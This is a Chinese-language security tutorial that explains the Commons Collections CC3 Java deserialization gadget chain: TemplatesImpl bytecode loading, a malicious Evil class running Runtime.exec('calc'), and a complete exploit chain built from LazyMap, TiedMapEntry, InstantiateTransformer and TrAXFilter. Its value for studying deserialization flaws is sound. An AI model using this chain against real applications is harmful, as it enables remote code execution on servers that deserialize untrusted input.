前言 想起来后续很多链子都是得打TemplatesImpl类 那就在CC3链子上,补充一下相关的内容 注意依赖
1 2 3 4 5 <dependency > <groupId > org.javassist</groupId > <artifactId > javassist</artifactId > <version > 3.19.0-GA</version > </dependency >
方便将恶意类写入TemplatesImpl类
TemplatesImpl类 为什么这个类是特殊的,它有哪些好东西吗? 因为该类中存在一个内部类TransletClassLoader,该类继承了ClassLoader并且重写了loadClass,我们可以通过这个类加载器进行加载字节码,然后初始化执行恶意代码 defineClass 字节码加载任意类(这是私有方法),所以我们要一直溯源,找到一个能进行调用的public方法 跟进defineTransletClasses方法,查看在哪里被调用 发现getTransletInstance方法,但他仍旧不是public,继续跟进 发现newTransformer方法调用了getTransletInstance方法,而它正是public方法 至此,我们的目标变成了,只有有一个类能调用到TemplatesImpl的newTransformer方法 那么就可以实现RCE 即
1 2 3 4 5 com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl#newTransformer com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl#getTransletInstance com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl#defineTransletClasses com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl.TransletClassLoader.defineClass java.lang.ClassLoader#defineClass
使用javassist 这个工具只是辅助我们生成恶意类的字节码 比如
1 2 3 4 5 6 CtClass clazz = ClassPool.getDefault().get(com.example.Evil.class.getName()); TemplatesImpl templates = new TemplatesImpl ();setFieldValue(templates, "_name" , "xxx" ); setFieldValue(templates, "_tfactory" , new TransformerFactoryImpl ()); setFieldValue(templates, "_bytecodes" , new byte [][]{clazz.toBytecode()});
Evil是我们的恶意类
1 2 3 4 5 6 7 8 9 10 11 12 13 14 public class Evil extends AbstractTranslet { public void transform (DOM document, SerializationHandler[] handlers) throws TransletException {} public void transform (DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {} public Evil () { super (); try { Runtime.getRuntime().exec("calc" ); } catch (IOException e) { throw new RuntimeException (e); } } }
如何调用TemplatesImpl类呢? 有7u21链调用getter方法;也有invokerTransformer直接调用TemplatesImpl实例的newTransformer方法,也可以利用TrAXFilter类,只要调用它的newInstance方法,即可调用TemplatesImpl的newTransformer方法,什么来调用newInstance呢? instantiateTransformer类
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 public T transform (Class<? extends T> input) { try { if (input == null ) { throw new FunctorException ("InstantiateTransformer: Input object was not an instanceof Class, it was a null object" ); } else { Constructor<? extends T > con = input.getConstructor(this .iParamTypes); return (T)con.newInstance(this .iArgs); } } catch (NoSuchMethodException var3) { throw new FunctorException ("InstantiateTransformer: The constructor must exist and be public " ); } catch (InstantiationException ex) { throw new FunctorException ("InstantiateTransformer: InstantiationException" , ex); } catch (IllegalAccessException ex) { throw new FunctorException ("InstantiateTransformer: Constructor must be public" , ex); } catch (InvocationTargetException ex) { throw new FunctorException ("InstantiateTransformer: Constructor threw an exception" , ex); } }
exp 综上,前面的链子和之前一样,可以走CC6,也可以走CC4的链子,这里走CC6的吧,毕竟CC4还没写
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 Transformer[] fakeTransformers = new Transformer [] {new ConstantTransformer (1 )}; CtClass clazz = ClassPool.getDefault().get(com.example.Evil.class.getName()); TemplatesImpl templates = new TemplatesImpl ();setFieldValue(templates, "_name" , "xxx" ); setFieldValue(templates, "_tfactory" , new TransformerFactoryImpl ()); setFieldValue(templates, "_bytecodes" , new byte [][]{clazz.toBytecode()}); InstantiateTransformer instantiateTransformer = new InstantiateTransformer (new Class []{Templates.class}, new Object []{templates});Transformer[] transformers={ new ConstantTransformer (TrAXFilter.class), instantiateTransformer }; ChainedTransformer chainedTransformer = new ChainedTransformer (fakeTransformers);Map innerMap = new HashMap ();Map outerMap = LazyMap.lazyMap(innerMap, chainedTransformer);TiedMapEntry tme = new TiedMapEntry (outerMap, "keykey" );Map expMap = new HashMap ();expMap.put(tme, "1221" ); outerMap.remove("keykey" ); setFieldValue(chainedTransformer,"iTransformers" ,transformers);
这里为啥放faketransformers呢,防止在生成链子的时候指向命令(),导致命令执行
结语 这里也只是简单介绍一下,CC3链引入了新的RCE方式,以后也会见到很多次